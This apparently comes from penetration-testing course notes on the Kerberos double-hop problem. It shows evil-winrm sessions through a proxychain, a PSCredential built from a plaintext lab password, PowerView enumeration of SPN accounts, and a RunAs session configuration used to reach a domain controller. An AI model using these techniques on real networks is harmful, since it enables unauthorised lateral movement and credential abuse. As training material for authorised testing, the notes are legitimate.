Kerberos Double Hop

Let's say we have three hosts: Attack host --> DEV01 --> DC01. Our Attack Host is within the corporate network but not joined to the domain. We obtain a set of credentials for a domain user and find that they are part of the Remote Management Users group on DEV01. We want to use PowerView to enumerate the domain, which requires communication with the Domain Controller, DC01.

When we connect to DEV01 using a tool such as evil-winrm, we connect with network authentication, so our credentials are not stored in memory and, therefore, will not be present on the system to authenticate to other resources on behalf of our user. When we load a tool such as PowerView and attempt to query Active Directory, Kerberos has no way of telling the DC that our user can access resources in the domain. This happens because the user's Kerberos TGT (Ticket Granting Ticket) ticket is not sent to the remote session; therefore, the user has no way to prove their identity, and commands will no longer be run in this user's context. In other words, when authenticating to the target host, the user's ticket-granting service (TGS) ticket is sent to the remote service, which allows command execution, but the user's TGT ticket is not sent. When the user attempts to access subsequent resources in the domain, their TGT will not be present in the request, so the remote service will have no way to prove that the authentication attempt is valid, and we will be denied access to the remote service.

If unconstrained delegation is enabled on a server, it is likely we won't face the "Double Hop" problem. In this scenario, when a user sends their TGS ticket to access the target server, their TGT ticket will be sent along with the request. The target server now has the user's TGT ticket in memory and can use it to request a TGS ticket on their behalf on the next host they are attempting to access. In other words, the account's TGS Ticket is cached, which has the ability to sign TGTs and grant remote access. Generally speaking, if you land on a box with unconstrained delegation, you already won and aren't worrying about this anyways.

---

Workarounds

We can also connect to the remote host via host A and set up a PSCredential object to pass our credentials again.

After connecting to a remote host with domain credentials, we import PowerView and then try to run a command. As seen below, we get an error because we cannot pass our authentication on to the Domain Controller to query for the SPN accounts.

*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryServicesCOMException

If we check with klist, we see that we only have a cached Kerberos ticket for our current server.

*Evil-WinRM* PS C:\Users\backupadm\Documents> klist

Current LogonId is 0:0x57f8a

Cached Tickets: (1)

#0> Client: backupadm @ legalcorp.local
    Server: academy-aen-ms0$ @
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
    Start Time: 6/28/2022 7:31:53 (local)
    End Time:   6/28/2022 7:46:53 (local)
    Renew Time: 7/5/2022 7:31:18 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x4 -> S4U
    Kdc Called: DC01.legalcorp.local

Set up a PSCredential object and try again. First, we set up our authentication.

*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents>  $Cred = New-Object System.Management.Automation.PSCredential('LEGALCORP\backupadm', $SecPassword)

Now we can try to query the SPN accounts using PowerView and are successful because we passed our credentials along with the command.

*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

If we try again without specifying the -credential flag, we once again get an error message.

get-domainuser -spn | select 

*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn | select samaccountname 

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryServicesCOMException

If we RDP to the same host, open a CMD prompt, and type klist, we'll see that we have the necessary tickets cached to interact directly with the Domain Controller, and we don't need to worry about the double hop problem. This is because our password is stored in memory, so it can be sent along with every request we make.

C:\xyz> klist

Current LogonId is 0:0x1e5b8b

Cached Tickets: (4)

#0>     Client: backupadm @ legalcorp.local
        Server: krbtgt/legalcorp.local @ legalcorp.local
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
        Start Time: 6/28/2022 9:13:38 (local)
        End Time:   6/28/2022 19:13:38 (local)
        Renew Time: 7/5/2022 9:13:38 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x2 -> DELEGATION
        Kdc Called: DC01.legalcorp.local

#1>     Client: backupadm @ legalcorp.local
        Server: krbtgt/legalcorp.local @ legalcorp.local
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 6/28/2022 9:13:38 (local)
        End Time:   6/28/2022 19:13:38 (local)
        Renew Time: 7/5/2022 9:13:38 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC01.legalcorp.local

#2>     Client: backupadm @ legalcorp.local
        Server: ProtectedStorage/DC01.legalcorp.local @ legalcorp.local
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 6/28/2022 9:13:38 (local)
        End Time:   6/28/2022 19:13:38 (local)
        Renew Time: 7/5/2022 9:13:38 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC01.legalcorp.local

#3>     Client: backupadm @ legalcorp.local
        Server: cifs/DC01.legalcorp.local @ legalcorp.local
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 6/28/2022 9:13:38 (local)
        End Time:   6/28/2022 19:13:38 (local)
        Renew Time: 7/5/2022 9:13:38 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called: DC01.legalcorp.local

---

Workaround #2: Register PSSession Configuration

We've seen what we can do to overcome this problem when using a tool such as evil-winrm to connect to a host via WinRM. What if we're on a domain-joined host and can connect remotely to another using WinRM? Or we are working from a Windows attack host and connect to our target via WinRM using the Enter-PSSession cmdlet?

PS C:\xyz> Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.legalcorp.local -Credential LEGALCORP\backupadm

If we check for cached tickets using klist, we'll see that the same problem exists.

[ACADEMY-AEN-DEV01.legalcorp.local]: PS C:\Users\backupadm\Documents> klist

Current LogonId is 0:0x11e387

Cached Tickets: (1)

#0>     Client: backupadm @ legalcorp.local
       Server: HTTP/ACADEMY-AEN-DEV01.legalcorp.local @ legalcorp.local
       KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
       Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
       Start Time: 6/28/2022 9:09:19 (local)
       End Time:   6/28/2022 19:09:19 (local)
       Renew Time: 0
       Session Key Type: AES-256-CTS-HMAC-SHA1-96
       Cache Flags: 0x8 -> ASC
       Kdc Called:

We also cannot interact directly with the DC using PowerView

[ACADEMY-AEN-DEV01.legalcorp.local]: PS C:\Users\backupadm\Documents> Import-Module .\PowerView.ps1
[ACADEMY-AEN-DEV01.legalcorp.local]: PS C:\Users\backupadm\Documents> get-domainuser -spn | select samaccountname

Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
   + FullyQualifiedErrorId : DirectoryServicesCOMException

One trick we can use here is registering a new session configuration using the Register-PSSessionConfiguration cmdlet.

PS C:\xyz> Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential LEGALCORP\backupadm

 WARNING: When RunAs is enabled in a Windows PowerShell session configuration, the Windows security model cannot enforce
 a security boundary between different user sessions that are created by using this endpoint. Verify that the Windows
PowerShell runspace configuration is restricted to only the necessary set of cmdlets and capabilities.
WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has
recently been unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be
 required.
All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session
configurations that are created with the Register-PSSessionConfiguration cmdlet, are disconnected.

   WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin

Type            Keys                                Name
----            ----                                ----
Container       {Name=backupadmsess}                backupadmsess

Once this is done, we need to restart the WinRM service by typing Restart-Service WinRM in our current PSSession. This will kick us out, so we'll start a new PSSession using the named registered session we set up previously.

After we start the session, we can see that the double hop problem has been eliminated, and if we type klist, we'll have the cached tickets necessary to reach the Domain Controller. This works because our local machine will now impersonate the remote machine in the context of the backupadm user and all requests from our local machine will be sent directly to the Domain Controller.

PS C:\xyz> Enter-PSSession -ComputerName DEV01 -Credential LEGALCORP\backupadm -ConfigurationName  backupadmsess
[DEV01]: PS C:\Users\backupadm\Documents> klist

Current LogonId is 0:0x2239ba

Cached Tickets: (1)

#0>     Client: backupadm @ legalcorp.local
       Server: krbtgt/legalcorp.local @ legalcorp.local
       KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
       Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
       Start Time: 6/28/2022 13:24:37 (local)
       End Time:   6/28/2022 23:24:37 (local)
       Renew Time: 7/5/2022 13:24:37 (local)
       Session Key Type: AES-256-CTS-HMAC-SHA1-96
       Cache Flags: 0x1 -> PRIMARY
       Kdc Called: DC01

We can now run tools such as PowerView without having to create a new PSCredential object.

[DEV01]: PS C:\Users\Public> get-domainuser -spn | select samaccountname

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest

Note: We cannot use Register-PSSessionConfiguration from an evil-winrm shell because we won't be able to get the credentials popup. Furthermore, if we try to run this by first setting up a PSCredential object and then attempting to run the command by passing credentials like -RunAsCredential $Cred, we will get an error because we can only use RunAs from an elevated PowerShell terminal. Therefore, this method will not work via an evil-winrm session as it requires GUI access and a proper PowerShell console.

We can also use other methods such as CredSSP, port forwarding, or injecting into a process running in the context of a target user.